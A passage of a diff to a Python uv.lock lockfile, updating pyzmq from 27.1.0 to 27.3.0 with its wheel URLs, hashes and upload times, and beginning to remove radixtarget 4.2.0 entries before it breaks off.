"sha256:544b4e3b7198dde4a62b8ff6685e9802a9a1ebf47e77478a5eb88eca2a82f2fd", size = 2024388, upload-time = "2025-09-08T23:08:53.393Z" }, - { url = "https://files.pythonhosted.org/packages/0d/01/add31fe76512642fd6e40e3a3bd21f4b47e242c8ba33efb6809e37076d9b/pyzmq-27.1.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:cedc4c68178e59a4046f97eca31b148ddcf51e88677de1ef4e78cf06c5376c9a", size = 1885316, upload-time = "2025-09-08T23:08:55.702Z" }, - { url = "https://files.pythonhosted.org/packages/c4/59/a5f38970f9bf07cee96128de79590bb354917914a9be11272cfc7ff26af0/pyzmq-27.1.0-cp314-cp314t-win32.whl", hash = "sha256:1f0b2a577fd770aa6f053211a55d1c47901f4d537389a034c690291485e5fe92", size = 587472, upload-time = "2025-09-08T23:08:58.18Z" }, - { url = "https://files.pythonhosted.org/packages/70/d8/78b1bad170f93fcf5e3536e70e8fadac55030002275c9a29e8f5719185de/pyzmq-27.1.0-cp314-cp314t-win_amd64.whl", hash = "sha256:19c9468ae0437f8074af379e986c5d3d7d7bfe033506af442e8c879732bedbe0", size = 661401, upload-time = "2025-09-08T23:08:59.802Z" }, - { url = "https://files.pythonhosted.org/packages/81/d6/4bfbb40c9a0b42fc53c7cf442f6385db70b40f74a783130c5d0a5aa62228/pyzmq-27.1.0-cp314-cp314t-win_arm64.whl", hash = "sha256:dc5dbf68a7857b59473f7df42650c621d7e8923fb03fa74a526890f4d33cc4d7", size = 575170, upload-time = "2025-09-08T23:09:01.418Z" }, - { url = "https://files.pythonhosted.org/packages/f3/81/a65e71c1552f74dec9dff91d95bafb6e0d33338a8dfefbc88aa562a20c92/pyzmq-27.1.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:c17e03cbc9312bee223864f1a2b13a99522e0dc9f7c5df0177cd45210ac286e6", size = 836266, upload-time = "2025-09-08T23:09:40.048Z" }, - { url = "https://files.pythonhosted.org/packages/58/ed/0202ca350f4f2b69faa95c6d931e3c05c3a397c184cacb84cb4f8f42f287/pyzmq-27.1.0-pp310-pypy310_pp73-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:f328d01128373cb6763823b2b4e7f73bdf767834268c565151eacb3b7a392f90", size = 800206, upload-time = "2025-09-08T23:09:41.902Z" }, - { url = "https://files.pythonhosted.org/packages/47/42/1ff831fa87fe8f0a840ddb399054ca0009605d820e2b44ea43114f5459f4/pyzmq-27.1.0-pp310-pypy310_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9c1790386614232e1b3a40a958454bdd42c6d1811837b15ddbb052a032a43f62", size = 567747, upload-time = "2025-09-08T23:09:43.741Z" }, - { url = "https://files.pythonhosted.org/packages/d1/db/5c4d6807434751e3f21231bee98109aa57b9b9b55e058e450d0aef59b70f/pyzmq-27.1.0-pp310-pypy310_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:448f9cb54eb0cee4732b46584f2710c8bc178b0e5371d9e4fc8125201e413a74", size = 747371, upload-time = "2025-09-08T23:09:45.575Z" }, - { url = "https://files.pythonhosted.org/packages/26/af/78ce193dbf03567eb8c0dc30e3df2b9e56f12a670bf7eb20f9fb532c7e8a/pyzmq-27.1.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:05b12f2d32112bf8c95ef2e74ec4f1d4beb01f8b5e703b38537f8849f92cb9ba", size = 544862, upload-time = "2025-09-08T23:09:47.448Z" }, - { url = "https://files.pythonhosted.org/packages/4c/c6/c4dcdecdbaa70969ee1fdced6d7b8f60cfabe64d25361f27ac4665a70620/pyzmq-27.1.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:18770c8d3563715387139060d37859c02ce40718d1faf299abddcdcc6a649066", size = 836265, upload-time = "2025-09-08T23:09:49.376Z" }, - { url = "https://files.pythonhosted.org/packages/3e/79/f38c92eeaeb03a2ccc2ba9866f0439593bb08c5e3b714ac1d553e5c96e25/pyzmq-27.1.0-pp311-pypy311_pp73-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:ac25465d42f92e990f8d8b0546b01c391ad431c3bf447683fdc40565941d0604", size = 800208, upload-time = "2025-09-08T23:09:51.073Z" }, - { url = "https://files.pythonhosted.org/packages/49/0e/3f0d0d335c6b3abb9b7b723776d0b21fa7f3a6c819a0db6097059aada160/pyzmq-27.1.0-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:53b40f8ae006f2734ee7608d59ed661419f087521edbfc2149c3932e9c14808c", size = 567747, upload-time = "2025-09-08T23:09:52.698Z" }, - { url = "https://files.pythonhosted.org/packages/a1/cf/f2b3784d536250ffd4be70e049f3b60981235d70c6e8ce7e3ef21e1adb25/pyzmq-27.1.0-pp311-pypy311_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f605d884e7c8be8fe1aa94e0a783bf3f591b84c24e4bc4f3e7564c82ac25e271", size = 747371, upload-time = "2025-09-08T23:09:54.563Z" }, - { url = "https://files.pythonhosted.org/packages/01/1b/5dbe84eefc86f48473947e2f41711aded97eecef1231f4558f1f02713c12/pyzmq-27.1.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:c9f7f6e13dff2e44a6afeaf2cf54cee5929ad64afaf4d40b50f93c58fc687355", size = 544862, upload-time = "2025-09-08T23:09:56.509Z" }, +sdist = { url = "https://files.pythonhosted.org/packages/e2/e1/ea46ab0d707219c098065a37d2add5b53d3b124241aa19429bcd0863e5b4/pyzmq-27.3.0.tar.gz", hash = "sha256:bbedb3d1d99babc625f1dd9d7438acefd442b36b75073fd6bc1ef7c0a4b96d56", size = 293249, upload-time = "2026-11-04T00:31:33.068Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ba/ea/4b0f153994ff26f654ca4f941b3e38216ae368cf578e10a1a6d1d8847f01/pyzmq-27.3.0-cp311-cp311-macosx_10_15_universal2.whl", hash = "sha256:86fb4408797aabb54a31e147176ae0f2474d99f1715a36a4564089eca9ef9ce8", size = 1262961, upload-time = "2026-11-04T00:28:46.452Z" }, + { url = "https://files.pythonhosted.org/packages/ca/b4/85be2f47469f13bf31a778c88475bd33824299243af36b18728f96631658/pyzmq-27.3.0-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f3d14fc8a7b85156c67e3f6ebbe8f2af2f89da2a407997a66e2a578e1bdabf6a", size = 788453, upload-time = "2026-11-04T00:28:48.34Z" }, + { url = "https://files.pythonhosted.org/packages/8e/09/9f33bee7acbb95b0b8b4847a20f0ca15650bbfbed53795c2ca88f3390391/pyzmq-27.3.0-cp311-cp311-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:477b8ad30d66fc905c5388351e83b9ac25824b00e82c0d052b72ea6392636dfd", size = 875050, upload-time = "2026-11-04T00:28:50.344Z" }, + { url = "https://files.pythonhosted.org/packages/5c/90/397107ce4ac5e69c38cf58c190338a3885432263120298738881cdb8b9b2/pyzmq-27.3.0-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:6e5a566ba2f0bdbe3eb0046a3c958b9a5d54cd866bf2ef9e5678a5dfed48613a", size = 938860, upload-time = "2026-11-04T00:28:52.638Z" }, + { url = "https://files.pythonhosted.org/packages/40/03/039a3741e4d4a9996ca976ccd5fb46f0b4ac2fe11e9f7f9718bed8952977/pyzmq-27.3.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:aaab8cf85cf6f063f291ccbee20ced0de69b8e945589471e8e7dc355218a0a13", size = 1779740, upload-time = "2026-11-04T00:28:54.563Z" }, + { url = "https://files.pythonhosted.org/packages/a5/c9/4eabf560d2ca533b5e4074911f9eb6ca5a3697497cfd9f6dff98d98196c8/pyzmq-27.3.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:30c57cdda34d208541944f0b2a6bdece682364bfd6579633dde8f732e32f6376", size = 2086501, upload-time = "2026-11-04T00:28:56.811Z" }, + { url = "https://files.pythonhosted.org/packages/bb/e4/6e5969282f4e26fac4035e4fd1f1b5051fc230148cdcc3ea3587e229274b/pyzmq-27.3.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:b1d5c7d0903f5485e0689a115ca528748a9f287fa04ed6c46580772a2e725c46", size = 1913616, upload-time = "2026-11-04T00:29:03.6Z" }, + { url = "https://files.pythonhosted.org/packages/97/fd/6dd284b6c193cec6672d34a97b56d6160fd32c0e2991ce9bdebad5b423f7/pyzmq-27.3.0-cp311-cp311-win32.whl", hash = "sha256:c2ad234ad2566426c8d568df650675f4996de35bd9376d603b33e32a967f5411", size = 575220, upload-time = "2026-11-04T00:29:05.095Z" }, + { url = "https://files.pythonhosted.org/packages/9e/3b/d3f6c6a3d46781f723ceb90fdfafe403fbcc5494b440e70c37c60e3acfdc/pyzmq-27.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:df98c790f86b6aa2378b4bb94dec7b85b0adb195b880b41e429a4990aed2a8c9", size = 658252, upload-time = "2026-11-04T00:29:06.584Z" }, + { url = "https://files.pythonhosted.org/packages/2c/a7/6229f4b219056a21df780c1d340d6d5c86c5a48d2328f2940010ac932157/pyzmq-27.3.0-cp311-cp311-win_arm64.whl", hash = "sha256:652d68fb398e714540d8a577cef81c548c61394c721bc1b996b5a4028e89f73d", size = 580574, upload-time = "2026-11-04T00:29:08.162Z" }, + { url = "https://files.pythonhosted.org/packages/b5/9e/6663ccc8c1af4e7db85de65921560a8058ad4ad4c40ebc49af4b1164f01a/pyzmq-27.3.0-cp312-abi3-macosx_10_15_universal2.whl", hash = "sha256:15155fd8f308d3bd47f67a8f6cc809f9db90abbf63c514c384a17622e2cf080f", size = 1232964, upload-time = "2026-11-04T00:29:09.922Z" }, + { url = "https://files.pythonhosted.org/packages/b4/90/4fc65d7a48077f535705ac957c29a3c07fa54a1f8d2595ca2f5f1489b21c/pyzmq-27.3.0-cp312-abi3-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ad8b828407caee77ff3ab0bdb2984ee8d48922328b226e8fda7c84a71a55dbb4", size = 770405, upload-time = "2026-11-04T00:29:11.487Z" }, + { url = "https://files.pythonhosted.org/packages/2c/62/e4721d8b8b9de685323717489a408521067a786cabc2b73ccd91aa9b9077/pyzmq-27.3.0-cp312-abi3-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:858fe25231e0fd8612da142efde019faa5ef63fa150a821a27870e791b38c798", size = 855178, upload-time = "2026-11-04T00:29:13.042Z" }, + { url = "https://files.pythonhosted.org/packages/39/5f/8190ff273beb195d9c9b62a36d0d87bad79019e76ff4407cabe463bc650d/pyzmq-27.3.0-cp312-abi3-manylinux_2_28_i686.whl", hash = "sha256:8b174298b57d5c2397c74fbefd656101d477357035916881970ed5f53b7b904c", size = 919158, upload-time = "2026-11-04T00:29:14.854Z" }, + { url = "https://files.pythonhosted.org/packages/8f/66/ab116baad852235c82be3d8d83af7098a7165c48995a03f2b6e8d50297dc/pyzmq-27.3.0-cp312-abi3-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:cffd75359342ef88c86c287c99b16b2b100795dab467fd5398bcedd87d49bce7", size = 813613, upload-time = "2026-11-04T00:29:17.239Z" }, + { url = "https://files.pythonhosted.org/packages/b3/55/5075ef84055eca159435e65f8d67591bfe06c562cf310792cd50a6aeb0c9/pyzmq-27.3.0-cp312-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:220095b4c11b0542ae5c0d67411331d3819753ee9ec0468e63a4ca6fd4ccf50f", size = 1762126, upload-time = "2026-11-04T00:29:18.994Z" }, + { url = "https://files.pythonhosted.org/packages/28/6f/e75d5e5aeda920dbcaaedcc413605379287b817578d00e47bfa89a8ea671/pyzmq-27.3.0-cp312-abi3-musllinux_1_2_i686.whl", hash = "sha256:e9e12fe784529e12177937aee8c714b7aed8913a2429ee2567400c904d4d55b5", size = 2067522, upload-time = "2026-11-04T00:29:20.762Z" }, + { url = "https://files.pythonhosted.org/packages/9c/b4/0d91b1e5ea8d659c1014ef39acfda279f4768fc4043120e98b764a59f1c9/pyzmq-27.3.0-cp312-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:d317685b83663fbd03ca8b5c34add7463e9bed094e3e1a69d2a895130b64ffaf", size = 1893864, upload-time = "2026-11-04T00:29:22.451Z" }, + { url = "https://files.pythonhosted.org/packages/2a/23/ed213d9dc6e48913a1f77090d1aed85bc4b1e5567ef74a86fd8fd473f423/pyzmq-27.3.0-cp312-abi3-win32.whl", hash = "sha256:07dd778d7cf242a1e131bfad6244f64df59441dda7ea639d037d0fdb22112b6c", size = 567172, upload-time = "2026-11-04T00:29:24.09Z" }, + { url = "https://files.pythonhosted.org/packages/fa/6d/23a02024011a494fb52bcfb179f10a3b230cff7b6fe0d5b8a3c775ce3b82/pyzmq-27.3.0-cp312-abi3-win_amd64.whl", hash = "sha256:3ea8e8fa5c097e68fef91d70b150fda96f307758103868018fc4deeb9c214122", size = 642389, upload-time = "2026-11-04T00:29:25.739Z" }, + { url = "https://files.pythonhosted.org/packages/e2/1b/410fc7ec4fc114b46da17ed0df3b88606f0624fbe172e184658d361b1dc1/pyzmq-27.3.0-cp312-abi3-win_arm64.whl", hash = "sha256:2187a5ca80691a5edb30690f02d9fb714e2c32d3dfdeb652e159ff5da2dd4283", size = 570810, upload-time = "2026-11-04T00:29:27.709Z" }, + { url = "https://files.pythonhosted.org/packages/d1/0f/81652a1066e994000cfec501f16137fa231e921675b63ee54c8cf4e30362/pyzmq-27.3.0-cp313-cp313-android_24_arm64_v8a.whl", hash = "sha256:a418d35be0a0a2693bf1990d831a744ee2f012b8268b3e0c6cb28b06c2769d76", size = 1136520, upload-time = "2026-11-04T00:29:29.58Z" }, + { url = "https://files.pythonhosted.org/packages/ce/0e/a2e5cb7db327ce85f3c2d11f25be55aba1639f55dad8ea77e03458ec5dbf/pyzmq-27.3.0-cp313-cp313-android_24_x86_64.whl", hash = "sha256:e9012762d869d620dad3c83fb5ff8f4900490decddd98caf6ff80847176c4be0", size = 1181427, upload-time = "2026-11-04T00:29:31.178Z" }, + { url = "https://files.pythonhosted.org/packages/88/b8/8a80749971b1a42fc415c720a52deedd33d0ae72792544331fc76f306ded/pyzmq-27.3.0-cp314-cp314-android_24_arm64_v8a.whl", hash = "sha256:fca5c2352c499e8355b581ddecfe52538984131b7efc052a30e2d32426baf637", size = 1143753, upload-time = "2026-11-04T00:29:32.923Z" }, + { url = "https://files.pythonhosted.org/packages/59/2d/196f50920da3137fd54b1636c36aba97b95d18d467bf097edca5f6ef5be8/pyzmq-27.3.0-cp314-cp314-android_24_x86_64.whl", hash = "sha256:91ac316f440aca4e6eaf3786f54b80f4ab433e5cc4e5e9b82eb44a27c5c987cd", size = 1182341, upload-time = "2026-11-04T00:29:35.073Z" }, + { url = "https://files.pythonhosted.org/packages/c7/3f/bf2a67da7cfac3c1f85c0130b8bd1fc48e96c1e66e8a50c71faea83979b3/pyzmq-27.3.0-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:d292cedc7250db240e9f41994cf3eefe2c7606c702ef5c56aab8d4f03870108c", size = 1271939, upload-time = "2026-11-04T00:29:36.803Z" }, + { url = "https://files.pythonhosted.org/packages/f6/43/2bfa60b57b3febd892d5760c811012b6850306962e3dd6a2f91b96cd5398/pyzmq-27.3.0-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:924f870055c05926887157485efe903c8f9668d0f3f19d56df7612bcb3d662cb", size = 779903, upload-time = "2026-11-04T00:29:38.52Z" }, + { url = "https://files.pythonhosted.org/packages/e3/72/4f88cd0d1da0e5db9a26a899e37f8b46d925f328f9bae590f86fc995074b/pyzmq-27.3.0-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6dac496cd8aacf185a634e5cc8930331db1627dd214a58ee4c27948ce4ae79af", size = 864708, upload-time = "2026-11-04T00:29:50.209Z" }, + { url = "https://files.pythonhosted.org/packages/79/5e/fce842845aad4135a2e1936f3cd1a418b4f49e2d45cd7b5576d6f836d95b/pyzmq-27.3.0-cp314-cp314t-manylinux_2_28_i686.whl", hash = "sha256:665b1a3d35a4ffe6cfa626191a5439108159d51d17bd9d44f1beb1690114adfc", size = 927234, upload-time = "2026-11-04T00:29:52.003Z" }, + { url = "https://files.pythonhosted.org/packages/e1/28/945736083a00750e101c4259312b5303aead36ef08539a0f0ad93a1cb899/pyzmq-27.3.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:0fedab58520a5091ffa62547eb507bea44882ce72d49929fa9626061ae1b9a2c", size = 1771921, upload-time = "2026-11-04T00:29:53.677Z" }, + { url = "https://files.pythonhosted.org/packages/3d/30/2a584e845a51c0e5d6e13889fe659aa90912004fbb5bc4750491f558528c/pyzmq-27.3.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:1b9b9d11e2e775a81d0e8b5c6cb76a395ddaa7c6b6373f3b0d2c8f8146d95f4a", size = 2075396, upload-time = "2026-11-04T00:29:55.772Z" }, + { url = "https://files.pythonhosted.org/packages/4e/6b/93066f121c31b825c56c74dca01ea5c00847f8b44645ad990f92bd04d29c/pyzmq-27.3.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:169a522c4d166c3bc7b67ed827d3beda549a8e65c4015c9410687757fb39852f", size = 1903986, upload-time = "2026-11-04T00:29:57.741Z" }, + { url = "https://files.pythonhosted.org/packages/85/ae/ecc7c77cd6ea18ff7b2b07a2fd0db5c31c2204ecf9a774e80bd1250dc9d9/pyzmq-27.3.0-cp314-cp314t-win32.whl", hash = "sha256:0228fe121f05a8b638ef218dde7508477a8c46200a588f71ce7143d85987cdd7", size = 597206, upload-time = "2026-11-04T00:29:59.35Z" }, + { url = "https://files.pythonhosted.org/packages/7a/1d/0bee73e1e8ab1c26eecba13a4725dfbe0405b53f451a91671dd515effe00/pyzmq-27.3.0-cp314-cp314t-win_amd64.whl", hash = "sha256:8a3d02fc710302a23c9a67b287bc13f2992067d398c3192b50eb0e30d44ed885", size = 685132, upload-time = "2026-11-04T00:30:01.144Z" }, + { url = "https://files.pythonhosted.org/packages/cd/23/13a768f9a8e66a999250abd216e50e1961a1cd4a8708749f656f5c0c2aea/pyzmq-27.3.0-cp314-cp314t-win_arm64.whl", hash = "sha256:2b9f08778b608fe4f6250e2d132f41b4f99fa8d03051cf2809b1c0420def81b4", size = 595549, upload-time = "2026-11-04T00:30:02.693Z" }, + { url = "https://files.pythonhosted.org/packages/91/ac/674d5c512c196c3ff2c37b27ce87764e9e69c7591902ef48330ff0ebfc07/pyzmq-27.3.0-cp315-cp315-android_24_arm64_v8a.whl", hash = "sha256:81fcd4e798f384a158b1790171a63541e66ccdee5a139a4dd0848a6e88dc7b9e", size = 1143291, upload-time = "2026-11-04T00:30:04.411Z" }, + { url = "https://files.pythonhosted.org/packages/c1/eb/6bf15cb88fb5d9f8fe6ee6b57185c110f862b6bc1ad02772767571bd3c5c/pyzmq-27.3.0-cp315-cp315-android_24_x86_64.whl", hash = "sha256:e9b87a6f40b62c7cd47691fc2ba4fdc28bef58f5fccf48eaf39940d183d2a16c", size = 1181899, upload-time = "2026-11-04T00:30:05.993Z" }, + { url = "https://files.pythonhosted.org/packages/2c/bc/e00cf032d751a709e12d71c3e2e265957bfb0097d8d071fae4f6a45e2d4c/pyzmq-27.3.0-cp315-cp315t-macosx_10_15_universal2.whl", hash = "sha256:23ddfe5d4d0c6ea529614c8999065d609a113f343c7e60dda9746d7dcb00d766", size = 1270101, upload-time = "2026-11-04T00:30:07.977Z" }, + { url = "https://files.pythonhosted.org/packages/20/aa/87ebb4664bb27fa53382d45f21f9f49d6194c0eb6737d7c2c5d5e921f1ee/pyzmq-27.3.0-cp315-cp315t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b437cf437fe737e17082625f470258f12e4bf5d56edfb88cb21d3aa4089fcef9", size = 779378, upload-time = "2026-11-04T00:30:10.504Z" }, + { url = "https://files.pythonhosted.org/packages/c1/85/e998ff27a29aca9b0f8529e32b0913420e75f8f990a54ad9434faa3d4c5e/pyzmq-27.3.0-cp315-cp315t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bc2cc98f37a14a3c9baccc18173a9fca9c6d18ffb233bca7079e58b2e47ee7f8", size = 864317, upload-time = "2026-11-04T00:30:12.259Z" }, + { url = "https://files.pythonhosted.org/packages/d6/7a/6535a0b2fbde9554291caeb3c41b6452207ed7afeb910af830f48e6731f5/pyzmq-27.3.0-cp315-cp315t-manylinux_2_28_i686.whl", hash = "sha256:1a1e092726596141e8ad2cc7f542fd366ddd692b8a9e254d2972ac47b399b982", size = 926240, upload-time = "2026-11-04T00:30:13.862Z" }, + { url = "https://files.pythonhosted.org/packages/51/6f/0c3b1b621f17ebd3eaa2c974b11507dc88cef529ebdc72b42935d00e4a90/pyzmq-27.3.0-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:0c9c332883373eb85b72f4d912a9a4402ba7702709fa783d3c76ff2bd703a491", size = 1771499, upload-time = "2026-11-04T00:30:15.471Z" }, + { url = "https://files.pythonhosted.org/packages/e1/a5/b753eb9acc131fbb4da67c4c68037965f12f8782d1fd5e461e803e0a1dc1/pyzmq-27.3.0-cp315-cp315t-musllinux_1_2_i686.whl", hash = "sha256:1f724caa222b1ae3c48f7d25147c816c8bde56fb109c164a650f0502b9005ab6", size = 2074632, upload-time = "2026-11-04T00:30:17.149Z" }, + { url = "https://files.pythonhosted.org/packages/d1/ad/8bce8d0ff0f0cc0958bdfeebbde9ee319cbd025c949607ab2864df657ce6/pyzmq-27.3.0-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:129ca693e543940527e105144dcacdf9e0ec01d41421098e08893de8227aca58", size = 1903559, upload-time = "2026-11-04T00:30:19.142Z" }, + { url = "https://files.pythonhosted.org/packages/fd/25/e5b3e6a066b59840cdc0ea6de8244b1a50b5f237edc7b7adc0e085973708/pyzmq-27.3.0-cp315-cp315t-win32.whl", hash = "sha256:39b9ff1fbab854ccbc53da0e79cb6b78b61b470fb7c191b89aa034825ea9a883", size = 596443, upload-time = "2026-11-04T00:30:20.811Z" }, + { url = "https://files.pythonhosted.org/packages/3f/c8/20ecc504500aeaab0440a4c8487a3c1cd32f4ac38f3e92482f1671fcaeca/pyzmq-27.3.0-cp315-cp315t-win_amd64.whl", hash = "sha256:3b850eaa955ae7edb926fe266600e57da818255d1f6ee9c3d8049967aa4a22cc", size = 684767, upload-time = "2026-11-04T00:30:22.784Z" }, + { url = "https://files.pythonhosted.org/packages/e8/5d/33c528d9b7ee074d0807e3af1a23a3e50bfdbe28cbc178e99f0466c13648/pyzmq-27.3.0-cp315-cp315t-win_arm64.whl", hash = "sha256:f0b9d192b285a9d38e390e762011f2672432742a301859b6c8cb4fab5f10f687", size = 594143, upload-time = "2026-11-04T00:30:24.33Z" }, + { url = "https://files.pythonhosted.org/packages/67/36/04666a943685abde486ca045701ee9443b1a698e31c0e5d29be965087164/pyzmq-27.3.0-pp311-pypy311_pp80-macosx_10_15_x86_64.whl", hash = "sha256:78157e57c734e8fc6dbf28c76aafc2cd7e871780fc661825c75e0afdc3424a82", size = 689539, upload-time = "2026-11-04T00:30:57.5Z" }, + { url = "https://files.pythonhosted.org/packages/e3/22/ad080fd18de3e6b1618029c8166895991a765f39bd489c32c1ff46f15778/pyzmq-27.3.0-pp311-pypy311_pp80-macosx_11_0_arm64.whl", hash = "sha256:8f15e7f2b5cc6459c45619e06e61f02fd1d9138b677b56e7a677232251a873b7", size = 632029, upload-time = "2026-11-04T00:30:59.361Z" }, + { url = "https://files.pythonhosted.org/packages/1c/45/08e946778c08c1989abade2ed86687114bb6fb22218521f68c7e9fb3eb4c/pyzmq-27.3.0-pp311-pypy311_pp80-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ae989940ebc279e81821bad87864119b9ab179e5abd50fe642dfb425f0eb2f92", size = 684299, upload-time = "2026-11-04T00:31:05.898Z" }, + { url = "https://files.pythonhosted.org/packages/08/6d/00f9a4e5c17135cca4126fdc60df9a397066fcd8ba390dc11cc07ad5a5ed/pyzmq-27.3.0-pp311-pypy311_pp80-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2ad3ec36c9d107ef33063d167ce07d9066ff92eba23385e320f1c2472437bb8a", size = 761485, upload-time = "2026-11-04T00:31:07.551Z" }, + { url = "https://files.pythonhosted.org/packages/27/18/c66e01646180e453216df42ef6274bddba3f4be412997b82de790bedf6d2/pyzmq-27.3.0-pp311-pypy311_pp80-manylinux_2_28_i686.whl", hash = "sha256:487dc31c44c16cfb5e78ae65a187d25fa82e59d1efad0595b6e79eadc4750c68", size = 821380, upload-time = "2026-11-04T00:31:09.209Z" }, + { url = "https://files.pythonhosted.org/packages/c8/be/aeaef2cfdded411909ce556631e029761dccce49cb2a078162a4d04416be/pyzmq-27.3.0-pp311-pypy311_pp80-win_amd64.whl", hash = "sha256:c72f9b1f6dbaf760daea97082506f4d6fd682a8512dbd320986b5268b189e727", size = 564188, upload-time = "2026-11-04T00:31:10.758Z" }, + { url = "https://files.pythonhosted.org/packages/53/53/6ea90b8bb4c77bcc4babd15ef6a63ed243cfd47920cb270da5f29438d11f/pyzmq-27.3.0-pp312-pypy312_pp80-macosx_10_15_x86_64.whl", hash = "sha256:cff2031014f79b213818b6773253cbf330119c93de33ee1a635596f407da5c35", size = 689536, upload-time = "2026-11-04T00:31:12.423Z" }, + { url = "https://files.pythonhosted.org/packages/a1/9e/699898cdd86e4cd4bc20547b9f1bce24c58900f51e6a9d5fad03c2890407/pyzmq-27.3.0-pp312-pypy312_pp80-macosx_11_0_arm64.whl", hash = "sha256:18da98ce26045ef503b42a3f98fc2a2af0cdb2af87dc0594852fa5cea3795427", size = 632027, upload-time = "2026-11-04T00:31:14.338Z" }, + { url = "https://files.pythonhosted.org/packages/a6/59/5d6ccce5456cafbdf84c98141d3ddf6c073716eb7b958254349e047fad84/pyzmq-27.3.0-pp312-pypy312_pp80-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:13c7336a4112d3e09c5d78d17e17af1cd01da858ec1c5e3755b2d06339aa7d4f", size = 684300, upload-time = "2026-11-04T00:31:15.891Z" }, + { url = "https://files.pythonhosted.org/packages/b4/37/c4cf124d820495c5549b3f606b1292949c9e2053467309a7e1baaf0c3784/pyzmq-27.3.0-pp312-pypy312_pp80-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:51e1358fabf41920d69cab170495b6e263680797ac5b80ace1b5cf1eb2d89642", size = 761485, upload-time = "2026-11-04T00:31:17.817Z" }, + { url = "https://files.pythonhosted.org/packages/a7/cf/caa0bd5f7a1b139b9240faf3b34586867656f682774364101572e8e84f80/pyzmq-27.3.0-pp312-pypy312_pp80-manylinux_2_28_i686.whl", hash = "sha256:cdb5efd4c23465573e928fb8429e40996ac0e1a4809365efe19e2753112b6ee1", size = 821382, upload-time = "2026-11-04T00:31:19.451Z" }, + { url = "https://files.pythonhosted.org/packages/8e/34/81fa1d9701024eb4f48949ba5f93da3a063ab997e0e0c9787ff37f11ecda/pyzmq-27.3.0-pp312-pypy312_pp80-win_amd64.whl", hash = "sha256:1b7ab96158dd50d7e6e430e6e4f744aaccee1df2e9d167ace9e7d2f3e3051712", size = 564187, upload-time = "2026-11-04T00:31:21.486Z" }, ] [[package]] name = "radixtarget" -version = "4.2.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/07/0f/f581bd64b2b1cff364fa94539ee6e99924ff28ceb017ddc819aa7deff9a0/radixtarget-4.2.0.tar.gz", hash = "sha256:c6ba17832edeed75d63ce605327b79a2ed9b24a4a5eae9c1b1419adbdbfaf839", size = 703140, upload-time = "2025-12-16T18:44:00.747Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/1c/f5/551f8df0744fbed27d42f48e1aae3e8fe8ed4dcbb21310ad0eebca49019b/radixtarget-4.2.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5aa0d14f3c1df46fbd81ddc58df1bc376e6a22610e1491b6fb485b0ca1959977", size = 525953, upload-time = "2025-12-16T18:47:58.819Z" }, - { url = "https://files.pythonhosted.org/packages/66/5f/64a17cc53cdc094e7aa09c84f02891627cd00d0272a09424c8a7360718fa/radixtarget-4.2.0-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3cbfafea3ff152c7ed5f9731657caad6e0b3556b6cbb9fbad89b0c483630a2c1", size = 536305, upload-time = "2025-12-16T18:48:10.509Z" }, - { url = "https://files.pythonhosted.org/packages/29/4a/2f91713e7cb651188f31038fcb61a9af8ff1a7e7463ba8819846f0ae6642/radixtarget-4.2.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:44af119000a99be3851e56d545d75d6e12c683c9966950320cb1a2ccf1333cc0", size = 711324, upload-time = "2025-12-16T18:48:23.324Z" }, - { url = "https://files.pythonhosted.org/packages/8d/91/b07232578100307f1a3ad15b7108823691429968e9b26185d3ac8a587f23/radixtarget-4.2.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ba8c8349aca622b722b62c766a298883ac0495a259768e8753b2aa4b1f7073cb", size = 561546, upload-time = "2025-12-16T18:48:34.563Z" }, - { url = 